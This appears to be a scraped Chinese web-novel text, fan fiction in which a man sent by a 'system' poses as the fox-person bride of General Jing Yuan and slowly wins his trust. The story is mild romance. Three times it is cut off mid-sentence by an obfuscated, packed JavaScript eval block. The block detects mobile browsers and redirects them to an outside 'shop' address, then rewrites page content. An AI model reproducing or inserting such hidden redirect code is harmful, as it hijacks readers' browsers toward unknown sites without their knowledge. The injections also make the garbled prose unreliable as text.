《【崩铁】妻子扮演系统》 1. 大婚 十一点,街道上的灯光早已将城市映照成了另一种模样,从公司离开的郁闻在回到家后的第一件事便是将屋内的灯全部打开,看着空荡荡的屋子,他习以为常地开始换拖鞋。 没有亲人,没有朋友,郁闻并不为此感到寂寞,但此刻让他陷入疲惫之中的是日复一日枯燥乏味的工作。 郁闻打开了热水器,又踩着拖鞋来到沙发上坐了下来,他摘下脸上那副黑色的、略显笨重的眼镜,而眼镜之下,则是一张漂亮的面容。 郁闻的白色长发简简单单地扎成了低马尾,雪一般的头发乖顺地垂落在身前,淡粉色的眸像是春日的桃瓣,嘴角旁的小痣点缀得恰到好处,即使是满脸倦意也只是给他添了一分不可言说的味道。 郁闻叹了口气,好想离开这里,普通人真的没有选择的权利吗?普通人只能够在工作中度过一生吗?好想在阳台上慵懒地晒太阳,也想在日暮时分独自散散步,没有讨厌的领导同事,让自己的生活真真正正属于自己........... 不过这些需要很多很多钱,郁闻看了看账户上的存款,不由得无奈地笑了笑,根本不够啊......... 【您的愿望就这么简单吗?】 脑海中传来了一个突兀的声音,像是千万人在细语,又像是哀怨的低泣,但在不久之后那声音便化为了死板的机械音,但是那副冷冰冰的语气总让人感到一丝火大:【您就没有其他更好的愿望吗?】 郁闻怀疑自己是加班加出了幻觉,看来他得好好休息几天了。 这时,茶几上的果茶包像气球一样飘浮了起来,然后“噗通”一声落在了郁闻的玻璃杯中,接着热水壶里已经凉掉的水冒出了热气,滚烫的水诡异地上升,最后注入玻璃杯中,将里面的果茶包泡开了。 看着移动到自己面前的水杯,郁闻大着胆子伸出手轻轻触碰,结果却被烫得手指,灼热的感觉停留在指尖,这说明眼前发生的一切都不是虚假的。 【人类面对未知的事物时总会有着各种各样有趣的反应,您刚刚的模样确实和那些人类一样有趣。】 郁闻重新窝进沙发里:“所以呢,你找我这个人类有什么事?” 【您并不需要对我这么防备,我是一个小小的系统,只是为了实现你的愿望而来。】 “你并不值得我相信。” 【这句话我可以理解为您不相信我,但还是想实现愿望吗?】 郁闻垂眸,他确实需要钱来摆脱目前枯燥的生活,但仅凭现在的他根本无法做到,如果这个奇奇怪怪的声音说是真的,那他倒是愿意试一试,反正这死水般的生活他已经受够了。 “天下没有免费的午餐,这件事我还是知道的,如果我想要实现我的愿望,我需要做什么?” 【很简单,您只需要作为宿主前往其他世界,完成规定的任务就可以了,当然,这些任务都不难,也不需要您杀人,只需要当成角色扮演就好。】 “那.........”郁闻端起桌前已经温掉的水果茶轻轻抿了一口,那双漂亮的眸也弯了起来,“有什么东西可以保证我完成任务后你会乖乖实现我的愿望呢?” 脑海中传来一阵若有若无的轻笑,轻得郁闻几乎以为那是一个错觉,紧接着,郁闻的面前出现了一张泛黄的羊皮纸和一根羽毛笔。 【那就签下这份协议吧,您应该感受到了吧,这份协议到底蕴含着什么。】 是的,郁闻能够感受到面前这份协议似乎将那个奇怪声音的主人和自己的灵魂链接在了一起,他看向这份协议,上面的语言明明很陌生,但他却毫无障碍地阅读了一遍。 在读过四遍之后,郁闻拿起了那根羽毛笔,他一笔一划地写下自己的名字,仿佛在和之前那死水一般的生活告别。 等完成任务拿到钱后,他会在这里重新开始新的生活,当然,第一件事就是离职! 清秀漂亮的字迹留在了羊皮纸上,随着最后一笔写完,羊皮纸也化作云雾消失了。 【协议签订完成,系统即将为宿主开启第一个任务。】 “等等,这么快吗?我的第一个任务是什么?” 【宿主的第一个任务是:扮演献给仙舟将军景元的狐人妻子,并成为对方心中真正的妻子。】 “?” 郁闻还没来得及对这个奇怪的任务发出质疑,他便消失在了原地,还飘散着热气的水果茶、水管滴答滴答的声音,沙发上残留的温热.........这一切都代表着屋主人刚刚还在这里。 “郁闻.......” “........别难过了.......” “我们狐族.........” 郁闻睁开眼,五感又重新恢复,他深吸了一口气,然后又缓缓吐出,接着才不动声色地观察着四周的情况。 房间里挂着红色帷幕,身旁簇拥着的人,不,准确来说是狐人都穿着喜庆的礼服,门外声音嘈杂,仔细听还能听见酒盏相碰和人群嬉笑的声音,而他的面前则是一面雕着花的梳妆镜,镜中,他披散着头发,一对狐耳耷拉着,眼眶也微微泛着红,似乎是刚刚哭过。 郁闻在脑海中询问:[系统,这具身体是我自己的吗?] 【当然,并且在将您传送过来前周围的相关人员已经被我替换了记忆,身体状态也刚好契合此时的情景,此刻的您便是他们所熟知的人。为了让您更好地融入情景,我也向您传输了一些必要的记忆。】 郁闻松了口气,只要还是自己的身体就行。 这时,一旁的狐人女子叹了口气:“郁闻,族内的规矩便是如此,要是归顺仙舟,我族便必须献出一名族人给最高掌权者以示友好。” 另一名狐人侍卫附和着:“是的,我们弥璇族善造兵器,某些心怀不轨的人一步步试探我们的底线,现在重新回归仙舟的怀抱才是最好的选择,而且那罗浮仙舟的景元将军气度不凡,不知道有好多人该羡慕你。” 是了,现在的他是一名狐人,他的部族擅长制造武器,但在受到来自其它势力的威胁后投靠了罗浮仙舟,按照部族的规定,族人们挑选出他作为献给罗浮仙舟将军的新娘。 郁闻轻轻闭上眼,下一秒,他的眼中便滚落出几颗温热的泪珠:“话是如此,可我从未见过那位将军。” 狐人侍卫有些不耐烦了,他的音量也不禁大了起来:“族长怎么安排你就怎么来,哪来.......” “大婚当天新娘子怎么还落泪了?” 门口,粉发女子走了进来,打断了狐人侍卫的话,在狐人侍卫还在发懵时,狐人女子已经先朝对方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17123010|195986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行了个礼:“符玄大人,您怎么从太卜司过来了?” “沾沾喜气罢了。”符玄摆了摆手,她走到郁闻身边,然后扫了眼狐人侍卫,“我们的新娘子这是怎么了?” 郁闻抿唇擦掉自己的眼泪,露出一个略显疲惫的笑容:“没事,我只是......太高兴罢了,今晚还请符玄大人多喝几杯。” 符玄的金眸看着郁闻,就仿佛可以看穿人心一般,符玄的目光在郁闻身上停留了太久,久得郁闻的手心都生了些薄汗。 最后,符玄皱了皱眉,离郁闻远了些,嘴里嘀咕了几句便离开了。 狐人女子朝侍卫使了个眼神,房门便重新被关上了,她拍了拍郁闻的肩:“好了,不要这么委屈,我族的好日子可还在后头呢。” 婚礼顺利开始了,郁闻坐上了那只工艺繁杂的万工轿,轿外是热闹的讨论声和鞭炮响起的声音,郁闻微微掀开轿帘,他们穿过了拱桥,路过了小巷,最后在一扇大门前停了下来。 看来是到了。 郁闻收回手,端端正正地坐在万工轿中。 许久,红色的轿帘被掀开,一只手伸了进来,郁闻顿了顿,然后将自己的手送入对方的手心。 这位景元将军的手略显宽大,掌心中还带着一层茧,粗糙,但却温暖。 在郁闻再次迈出右脚时,景元温和的声音从身边传来:“小心,有台阶。” 郁闻下意识紧了紧握着景元的那只手,身体也离对方近了些,郁闻很清晰地能感觉到景元的动作微微停滞了一瞬。 “恭喜!” “府里终于要有另一位主人了吗?” “希望将军和他的妻子可以永结同心!” 在众人的祝贺声中,景元和郁闻来到了主堂,司仪站在一旁,念着那些从未变化过的祝词: “一拜天地。” 郁闻低下头轻轻拜了拜。 “二拜高堂。” 景元的父母此时在其它星球,于是座位上只放着景元父母的代表物。 “夫妻对拜。” 郁闻侧过身子,微微低头。 “送入洞房!” 司仪的声音拔高,这也意味着婚礼的仪式已经接近尾声,郁闻本想跟随着景元的脚步离开,却没想到被对方一把抱了起来。 活了那么久第一次被这样对待的郁闻僵硬了一瞬,尾巴都差点炸毛,但很快他便调整好了自己的状态,乖乖依偎在景元怀里。 婚房的门被打开,又被门口的侍从关上,一切声音都被阻隔在了房门之外,郁闻被放在了柔软的婚床上,但下一刻,他便被景元压在了床上。 绣着囍字的红盖头被掀开,白色的长发如河水般流淌在红色的床上,跃动的烛火映照在郁闻的脸上,将那双含着泪的淡粉色双眸衬得温柔而含情脉脉,而他身上繁杂华美的婚服则时时刻刻提醒着他此时的身份。 他是今夜的主角之一,是新娘,也是神策府景元将军的妻子。 即便是见过许多大场面的景元也不由得因郁闻的面容而有一瞬间的晃神,面含桃花、眼底含情大抵不过如此吧。 但越是如此那便越是危险....... 景元用一只手禁锢着郁闻的两只手腕,面上带着不达眼底的笑意:“你便是我的新娘?” 2. 攻略开始 这位景元将军确实和那些狐人侍从们说得那样长相俊美,气度不凡,明明眉眼弯弯,看着温柔,但郁闻却能感受到景元的笑完完全全只浮在表面。 郁闻垂眸,一副羞怯害怕的模样:“那个........景元将军,初次见面,我的名字是郁闻,也是.......您的新娘。” 景元的眼神在郁闻的表情上停留了一会儿,然后笑着松开了手:“我们既然已经成了婚,那便不必如此多礼,你唤我景元便好。” “好的,景元......” 郁闻身后那条蓬松的白色尾巴轻轻地摇晃着,身上的婚服早在刚刚就已经散乱了开来,雪白的脖颈和胸膛曝露了出来,被幽幽的烛火映照成了暖色。 景元的手伸向郁闻的衣服,郁闻立马紧张地竖起了耳朵,尾巴也直直地垂了下去,看到郁闻这副模样,景元微微地挑眉,随后退开了些:“郁闻,你喜欢我吗?” 郁闻连忙抬起头:“喜欢的,我.......我一直很仰慕将军您。” “是吗?”景元的手抚上郁闻的脸庞,缓缓地俯身靠近,他们之间的距离在此刻不过毫厘之间,只需再近一点,他们便会唇齿相贴,但景元看了眼微微发抖的郁闻,又重新直起了身子,“不过我素来清净惯了,不喜旁人打扰,之后你睡在这里便好,我在另一侧的房间休息。” 见景元站起身,郁闻连忙拉住了景元的衣角:“将........景元,那今晚........那今晚要不要留下?毕竟今天是我们的新婚夜........” 景元顿了顿,然后轻轻拂开郁闻的手:“今晚我会暂时睡在躺椅上,休息吧。” 红色的纱帘被解开,层层叠叠的红色将郁闻和景元隔绝开来,从床上往外看去,郁闻只能看见一个模模糊糊的黑色身影躺了下去。 郁闻小心翼翼地脱下身上那件红色的嫁衣,解开头上的珠冠,躺在了那张冷冰冰的婚床上,他蜷缩在红被里,尾巴不自觉地搭在了身上。 虽然郁闻看起来弱小无助极了,但实际上他正在思考系统给出的任务,任务目标是成为罗浮仙舟景元将军的妻子,格外强调了是成为景元心目中真正的妻子,但结合刚刚景元的表现来看,恐怕他此时并不被信任着,甚至可以说景元对他防备很深,景元将他留在身边估计也是因为想要查清部族真正的意图吧......... 所以要想成为景元心目中真正的妻子,那么第一步便是要取得景元的信任,因此刚刚他才会装出一副不适应的模样,毕竟越是表现得热情欢喜,景元的猜疑估计会越发深一些....... 但郁闻并不讨厌,作为罗浮仙舟的上位者,面对突然投诚的狐族和强塞过来的新娘没有防备那才是反常。 不过看来第一个任务并不简单........ 郁闻打开系统提供的攻略进度,果不其然,上面显示的进度是0%。 郁闻在心中默默地叹了口气,然后在满室的檀香中睡了过去。 可惜的是郁闻的梦也不怎么令人开心,咄咄逼人的上司把他连夜写好的方案拍在桌子上,然后用手指着他的鼻子怒骂着,等加班加点修改好方案回到家后还收到了房东的催租短信......... 翌日,晨光熹微,一切都还出于一片静谧之中,景元不留丝毫声音地离开了房间,来到了自己的书房。 书房内,太卜司的符玄和云骑军的彦卿已经等候多时了,见景元关上了书房的门,符玄打趣着:“怎么样,我可是见到过你那位叫做郁闻的狐人妻子,真的是漂亮极了,春宵一刻值千金,将军怎么这么早就抛下妻子离开了?” 景元咳了咳,无奈地道:“你就别打趣了,怎么样,昨日情况如何?” 符玄朝景元摇了摇头:“虽然我已开启了阵法,但郁闻身上的一切都像是隔了一层雾,看不清摸不透,简直就像是不在此世之内的人一般。” 一旁的彦卿则开口道:“弥璇族也尚且安分,没做出任何出格的举动。” “我们曾多次向这支善造兵器的狐人部族发出邀请,邀请他们重回罗浮仙舟,但却被一一地回绝,这次他们主动请求回归,还献上了武器图纸和一个........‘新娘’,而且选在了步离人蠢蠢欲动的时候.........”景元转过身,看向已经穿破云层的晨光,“这很难不让我多想,我倒要看看,这弥璇族是不是真地想回归罗浮仙舟。” 彦卿走到景元身边:“将军放心,彦卿会盯紧他们。” 这个时候郁闻也醒了过来,虽然现在并不需要上班,但他的生物钟很难调得过来。 郁闻睁着眼半天没有动作,还好,那些都只是梦.......... 许久,他重新把那些层层叠叠的红色纱帘系了起来,然后有些苦恼地看着一旁的红色嫁衣,周围什么都没有,只有一件嫁衣,难不成他要穿着嫁衣出去? 正在他纠结时,门被打开了,侍女们鱼贯而入,带来了新的衣服和首饰,为首的侍女朝郁闻行了行礼:“夫人,这是为您定做的衣服,您的首饰也在盒子里,换完后彦卿大人会带您去吃早饭。” 等侍女们出去后,郁闻看着那些衣服和首饰不禁咂舌,虽然他不认识这些是什么材质的,但他看这色泽就知道肯定不便宜。 好了,该洗漱了。 不久,门被推开了,守在门外的彦卿抬头,看见了换上新衣的郁闻。 “早上好,彦卿,我可以这样叫你吗?”郁闻小心翼翼地看着彦卿。 彦卿朝郁闻端端正正的行了个礼:“郁闻先生你客气了,彦卿这就带你去见将军。” 眼前还是少年模样的彦卿扎着利落的高马尾,身上还带着长命锁,俨然一副小大人的模样,虽然郁闻很想伸出手摸摸他的脑袋,可惜根据刚刚侍女们的称呼,眼前的这位彦卿的身份也大有来历,因此他只好按捺下了自己的小心思。 而此时正在前面带路的彦卿打个喷嚏,他吸了吸鼻子,嘀咕着:“怎么有一股奇奇怪怪的感觉.........” 路过池塘,穿过回廊,景元早已等候在客厅里,等他听见脚步声抬起头时,郁闻刚刚好走了进来。 郁闻穿着淡粉色的交襟长袍,衣领和袖口处绣了几支桃花,腰间带着一个燕子风筝样式的香包,白色的长发则被一只弯月状的银簪盘了起来,剩余的长发随心地散落在背后,看着温柔极了。 景元眼神微动,然后拉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17123011|195986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开一旁的红木椅:“来,到我身边坐下。” 郁闻乖乖坐在了景元身旁,彦卿也坐在了两人对面,景元笑着朝郁闻介绍:“彦卿是我的徒弟,我从小看着他长大,要是之后有什么事可以找彦卿帮你解决,别看他小,他可是我们罗浮的云骑军。” 郁闻露出惊讶的神色,然后轻声地道:“那之后还得请彦卿多多指教了。” 彦卿有些不习惯的点了点头,以示回应。 这顿早餐很简单,貘馍卷、琼实鸟串、热浮羊奶........虽然都是很常见的食物,但郁闻都是第一次见,他喝了一口面前盛放在瓷杯里的热浮羊奶,不禁愉悦地摇了摇尾巴,好甜! “你们在外许久,应该很久没吃过这些东西了吧。”景元夹起一块松软的貘馍卷放在郁闻的盘子里,然后又夹了一串琼实鸟串,“尝尝看,这个也不错,早上吃饱了才会有精神。” 郁闻看着盘中的食物,露出一抹极淡的笑意,他弯了弯眉眼:“嗯,确实很久没吃了。” 不笑的时候好看,笑起来的时候就更好看了,景元算是知道那些话本子里讲的美色误人是什么模样了。 郁闻见景元一直看着他,便有些不好意思的垂眸:“景元,我..........我的脸上是弄脏了吗?” “抱歉,我只是.......”景元注意到了郁闻头上的发簪,于是接着道,“我只是觉得你头上的簪子很好看。” 郁闻摸了摸那根弯月似的银簪,笑着回应:“这是我在路过其他星球的商铺时买下的,也是我最喜爱的簪子。” 银簪的尾部已经微微有些磨损了,看起来戴了很久的样子,能看出来它的主人真的很喜爱它。 景元喝了口热浮羊奶,微微叹了口气,面带忧虑道:“郁闻,最近罗浮正在抓捕一些偷渡进来的偷渡者,所以不太安全,这几日除了非必要情况你就尽量先留在你的院子里吧,我会让彦卿保护你。” 郁闻默默吐槽,说是保护,其实就是变相的囚禁与监视罢了,这大概就是语言的艺术吧。 接着景元便将热浮羊奶一饮而尽,然后准备离开,这个时候郁闻抓住了景元的衣角,微微抬眸,粉色的眸里隐隐带着些忧虑之色:“景元,那你也记得多带些人手保护自己。” “好........”景元深深地看了一眼郁闻,然后匆匆离开了。 对面的彦卿咬了口貘馍卷:“郁闻先生倒是不用为此担忧,我们将军可是非常非常厉害的,不管是常人还是非常人都打不过将军,那些偷渡客遇上将军就只有被带回十王司的份儿,所以现在打仙舟主意的人已经挺少了。” 郁闻知道彦卿这是在暗戳戳地警告着什么,但他只是装作一副不好意思的模样,无奈地回答:“一时担心,倒是忘了将军的威名。” 彦卿看向郁闻:“你很关心将军吗?” 郁闻看向门外那一地残落的桃花:“既然我与景元已结为夫妻,那我自当要为我的夫君尽心尽力,我知道他很强,但再强的人也是血肉之躯,会受伤,会流血,那样好的将军........我不想他受到伤害。” 彦卿心情复杂的咽下最后一口貘馍卷,不知该说郁闻是天真还是迟钝。 3. 梳毛 婚礼已经彻底结束了,隔日府里的侍从便把那些装饰一一地取了下来,郁闻看着房间内被新换上素雅的纱帘和床具,不禁暗自感叹那些红色且喜庆的装饰物在晚上实在是有点像他玩得中式恐怖游戏了,换了正好,免得影响睡眠。 现在景元不在府内,自己又被软禁在这个院子里,于是郁闻便把目光投向了门外的彦卿。 “彦卿,可以陪我放风筝吗?”郁闻叹了口气,“我在屋里实在有些无聊,不知道你能不能陪陪我。” 郁闻无奈地笑着,做了一个拜托的手势,但彦卿有些为难地摸了摸头:“这个........将军家里没有风筝,要是想玩,得等侍从们去金人巷的杂货铺买。” “没关系。”郁闻朝彦卿眨了眨眼,“我可以自己做。” 郁闻唤来守候在一旁的侍从:“可以帮我找一找颜料画笔还有布料和竹片吗?” 侍从点了点头:“您稍等,我记得仓库里有,现在我就去拿。” 没过多久侍从就带着郁闻需要的材料回来了,郁闻站在院子里,挽起了自己的袖子。 柔软的布料上画上了春燕的图案,彩色的染料又让这幅图变得更加鲜活了起来,郁闻满意地放下手中的笔,欣赏着自己的杰作,别的不说,画画可是他的强项。 一旁同样在制作风筝的彦卿有些犹豫地看着眼前的图案:“总觉得我画得很奇怪,错觉吗?” 郁闻凑过去看了一眼,忍住笑意道:“这是画得带围巾的小猫吗?耳朵画得不是很像,眼睛的话可以再画大一点” 彦卿的脸色有些发红:“我画的不是猫,是狮子.........” “咳咳。”郁闻用咳嗽掩盖自己的笑意,然后拿起自己的笔来到彦卿身边,“如果你不介意的话我可以帮你改一改。” 彦卿点了点头,然后退到了一边。 不消片刻,一只狮子头就画好了,郁闻欣赏了一下自己的作品,然后拿着一旁的小刀给风筝做骨架。 不过虽然郁闻的绘画技术非常不错,但手工能力还是差了点,那把小刀就像是有了自己的意识一般,郁闻想往左小刀便往右偏,郁闻想往右小刀便往左偏,最后郁闻不信邪手上使了些力气,然后成功把自己的手划伤了。 这把刀才磨过,所以锋利得很,那条伤口很快就溢出鲜红,向外渗出。 彦卿连忙从口袋里拿出了随身携带的消毒喷雾和纱布帮郁闻处理伤口:“怎么连小刀都使不好?早知道就不让你做骨架了。” 郁闻耷拉着耳朵:“抱歉,我之前很少接触这些东西........” 彦卿偷偷地打量了郁闻几眼,身形单薄,性格单纯,连小刀也不会使........怎么看也不像是可以使坏的人,不过还是再观察观察吧。 制作风筝的过程可谓是一波三折,但幸好此时天朗气清,也非常应景地起了风,郁闻放飞自己的风筝,一只翠绿色的春燕便缓缓飞向湛蓝的晴空,没过多久,一只狮子头也飞了起来,郁闻很久没有玩过风筝了,他伸手扯了扯风筝线,跟随着风筝移动,试图让风筝飞得更远一些。 郁闻不断地向后退去,丝毫没有注意到身后就是水池,等彦卿发现时,郁闻的半只脚已经悬空。 “小心!” 彦卿虽已提醒,但还是来不及了,眼看郁闻就要落入池中,一只手环着他的腰将他倾斜的中心重新拉了回来,郁闻整个人都贴在了那人身上。 郁闻抬起头,一双漂亮的眼睛里还尽是迷茫,他的脸颊贴在对方的胸口处,听见心跳声沉稳而有力,他手里的风筝线被风吹断,那只春燕便就真的乘风而去了。 “你还好吗,郁闻?”景元看了眼飞离院子的风筝,稍稍离郁闻远了些。 郁闻面上多了片薄红,他小声道:“我还好,多谢。” 这是景元注意到了郁闻手上包扎着的纱布,他牵起郁闻的手,询问着:“你受伤了?” 郁闻没好意思说这是自己做风筝的时候被小刀划伤的,于是他便朝景元笑了笑:“小伤而已,彦卿已经帮我处理好了。” 见郁闻没有想说的意思,景元也不再追问,他松开郁闻的手,看向桌上还散乱着的染料和布料:“是我思虑不周了,等一下我就让人给你买些罗浮的新鲜玩意儿回来。” “那.......可以再帮我带一份仙人快乐茶回来吗?”郁闻眼睛亮晶晶的,比起刚见面时,他似乎没那么害怕与拘束了,“我之前听侍从们说罗浮仙舟的仙人快乐茶很好喝,但一直没有机会尝一尝.......” 景元看着郁闻头顶毛茸茸的狐狸耳朵,没忍住伸出手轻轻地揉了揉:“好,到时候多买几份吧。” 这狐狸毛倒是舒服......... 而被揉耳朵的郁闻则瞪大了眼睛,他僵在了原地,尾巴都不摇了,显得有点呆呆的,也有点可爱。 “咳,我这就去吩咐。”景元有些心虚地收回手,匆匆离开了院子。 晚上的时候郁闻就喝到了他心心念念的仙人快乐茶,浓郁的牛奶与茶香完美地结合在一起,丝滑的奶盖也非常恰到好处,感觉和以前喝过的奶茶有点像,但却比奶茶更好喝一些。 除了仙人快乐茶之外景元还让人买了一些精巧物件回来,机关鸟、轻小说、果脯蜜饯、毛发护理剂以及一个崭新的手机。 郁闻感慨这里真的不错,简直就像是小说里赛博修仙的世界,这个手机和他原本的世界几乎没有什么区别,甚至还要更高级一些,他进入视频网站,津津有味地通过手机欣赏其它星球的人文特色。 在看直播时,郁闻顺便打开系统面板,上面显示攻略进度5%。 果然,现在的攻略进度低得可怕,估计景元把这样的通讯设备给他也只是进一步的试探罢了,想到这里,郁闻也没太放肆,看了半小时后他便关上了手机。 郁闻拿起那瓶毛发护理剂,思考着该怎么使用,因为自从有了耳朵和尾巴之后郁闻就一直不是很习惯,喜欢打结,容易弄脏,最麻烦的就是一不小心尾巴就会暴露他的一些情绪。 而这几天郁闻没怎么管自己尾巴,原本毛绒绒的白色尾巴看着已经有些脏了,有些轻微洁癖的郁闻决定在晚上梳理一下自己的尾巴。 郁闻换上宽松轻薄的白色睡袍,柔软的白色长发如瀑般垂落在肩头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17123012|195986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,还未来得及系上的腰带耷拉在两边,显露出身前那一片光滑雪白。 而景元推门进来时看见的便是这个场景。 郁闻瞪圆了眼睛,立马背过身合上了自己的睡袍,可惜的是他的动作太匆忙了些,肩头那一块全曝露了出来。 “那么晚了有什么事吗?” “抱歉,我只是想起有东西落在了这里。” 郁闻顿了顿,然后系好自己的腰带转过身,借着跃动的烛火,景元看见了郁闻从脸颊上一直蔓延到脖颈处的薄红。 “景元,正好我有件事想请你帮忙。” “什么事?”景元有些不敢看郁闻,但郁闻身上那股淡淡的清香却一直萦绕在他的鼻尖。 郁闻拿出那瓶毛发护理剂:“可以帮我涂一下这个吗?我一个人不太好涂,每次护理尾巴都要花费很长时间......” 景元本想拒绝,但郁闻的眼神带着一丝丝不易察觉的怯弱与期盼,这着实让景元有些为难,最终,景元在心底默默地叹了口气,然后接过了郁闻手中的那瓶毛发护理剂。 郁闻坐在床上,将单薄的后背与脆弱的脖颈全都毫不遮掩地暴露在景元面前,只要景元想,他立马就会毫无反抗之力的死去。 景元看着将尾巴送到自己手中的郁闻,这狐人就这般信任他吗?还是说......只是障眼法? 景元心中虽然思绪万千,但手上的动作却一点也没有停,他拿着木梳,一点一点地从尾巴根部开始梳理,不过郁闻似乎不太习惯让人触碰,他每梳理一下,郁闻便会随着他的动作轻轻地颤抖。 “郁闻,我弄疼你了吗?”景元停下了动作。 “没有,我觉得很好。”郁闻的声音很轻,还带着一丝颤抖,他的一只耳朵微微垂下,然后抖了抖,“就是.....之前从来没人触碰过这里......” 景元突然觉得手下那些触感极好的狐狸毛和手中的木梳有些烫手,虽然郁闻说力道还行,但景元还是又放轻了些动作。 一时间,室内一片静谧,许久,郁闻突然地开口:“景元,可以和我说一说你在军中的趣事吗?” “怎么突然对这些感兴趣?” “........因为我总觉得......”郁闻偏过头,桃色的眸盛着一丝羞怯的笑意,在床头的烛火下显得格外明显,“我身为你的夫人应该要更加了解你一些。” 景元的动作微不可查地顿了顿,然后开口道:“我说的故事可能有些无趣,你别听睡着了便好。” 从儿时习武,到跟随军队出征,到第一次斩杀敌人,再到友人离散,最后再到登上将军之位......景元仅仅用几句话便将那些惊心动魄的故事轻轻地揭过,但其中的艰辛只有他本人最清楚。 “抱歉,我的故事不太适合睡前听吧。” “不,我很喜欢。”郁闻转过身,轻轻地给了景元一个拥抱,“景元,你真的很厉害,那些曲折的经历锻造出了更加坚韧温柔的你,繁华的罗浮仙舟,欢声笑语的民众......这都是你带领大家一起努力创造出的结果,我很高兴......我很高兴能够嫁给这样的你。” 4. 一只大猫 那晚景元是什么表情郁闻没有看清,只不过他之后就没再说过话,完成郁闻交代给他的“梳毛任务”后就径直离开了。 嗯.....或许用慌乱来形容会更加合适。 郁闻坐在小水池旁边的凉亭里盯着水面发呆,忙活了那么久攻略度只涨了一点点,离百分百的攻略进度还差很多,但总体来说已经相当不错了,景元越是试探,那么他可以发挥的空间就越是多。 这几日彦卿似乎也忙了起来,没有再待在郁闻身边,而景元也只是留下了一些侍从照顾他,郁闻闲来无事,打开手中的手机,在首页的美食板块上他看见了正在制作火锅的狐人小哥。 原来这里也有火锅吗?! 里面的狐人小哥虽然没有露脸,但他身后的尾巴暴露了他是个狐人的信息,他做火锅的手法极其熟练,辣椒和花椒不要钱似的往里放,等汤底沸腾咕噜咕噜地冒着泡时,这火红的颜色简直和火山岩浆有的一拼。 不过郁闻就爱这样的火锅,他看了眼狐人小哥的账号名,然后点了关注,顺便用景元替他存在手机里的信用点打赏了那位叫做椒椒爱吃椒的小哥。 郁闻看的正开心,丝毫没有察觉朝他靠近的庞然大物,等他闻到什么奇怪的味道然后扭头时,一只毛绒绒的狮子已经站在了他的身后。 顿时,郁闻浑身的狐狸毛都炸起来了,原本柔顺的尾巴此时就像是一个膨胀起来的球,他不敢随意出声,也不敢随意动作,白狮子围着郁闻打转,却并没有攻击的意思,那双金黄的兽曈紧紧地盯着郁闻,让郁闻不寒而栗。 许久,白狮子张大了嘴巴靠近郁闻,然后在郁闻惊愕的神情中.......在郁闻惊愕的神情中伸出舌头舔了舔他的脸,还用自己毛茸茸的大脑袋蹭了蹭他的胸口,差点没把郁闻从石椅上拱下去。 郁闻回过了神,他咽了咽口水,这狮子......该不会是在向他撒娇吧。 郁闻大着胆子伸出手轻轻地抚摸白狮子脖子上的长绒毛,见白狮子眯起了眼睛,郁闻又摸了摸白狮子的脑袋,白狮子发出呼噜呼噜的声音,然后躺在了地上朝郁闻露出了柔软的肚皮。 “朔雪——?” “朔雪——!” 不远处,神情慌乱的侍从从拐角处跑了过来,在看见白狮子与郁闻待在一起时,他脸色惨白地来到郁闻面前:“抱歉夫人,这是将军大人饲养的宠物朔雪,我给朔雪喂食的时候没看住它,让它跑了出来,您没有受伤吧?!” 朔雪? 郁闻看了眼体型庞大的白狮子,提起的心又放了下去,他朝侍从笑了笑:“没事,下次注意些便好,我与朔雪还挺投缘。” 侍从这才松了口气,他想要带着朔雪回去,但朔雪死活不肯走,像是一座小山似的坐在郁闻脚边。 郁闻想了想,这只白狮子既然是景元饲养的,那把狮子留在自己身边景元肯定会寻过来,于是他摸了摸朔雪的头,朝侍从道:“既然朔雪还没玩够,那就让它先留在我这里陪陪我吧。” “好的夫人。” 侍从离开了,郁闻见朔雪还一个劲地往自己怀里钻,于是无奈地用手揉了揉他的头:“你这是多久没梳理过毛发了,要不然我帮你洗个澡?” 听见“洗澡”这两个字,朔雪不仅没有想要逃跑的意思,反而咬住郁闻的衣摆拽了拽,郁闻约莫理解了朔雪的意思,于是好奇地跟在朔雪身后,想看看它到底想要带他去哪里。 在穿过一座假山后,朔雪停了下来,郁闻抬起头,这不是景元的卧室吗? 景元的卧室刚刚好就在这座院子的门口,和郁闻的卧室离得还挺远,他见朔雪用头挤开景元卧室的门,纠结了一会儿还是跟着走了进去。 景元卧室里有一张用来办公的桌子,上面堆满了文件,其中有几个红色的文件格外显眼,这时朔雪嘴里叼着什么东西走了过来,在经过桌子时身体却不小心撞在了桌腿上,一时间那些文件全都散落在了地上。 朔雪傻愣愣地保持着抬爪的姿势,就像寺庙门口的石狮子一样一动不动。 “噗........”郁闻被朔雪这幅样子逗笑了,他弯下腰轻声道,“没事,我来收拾就好。” 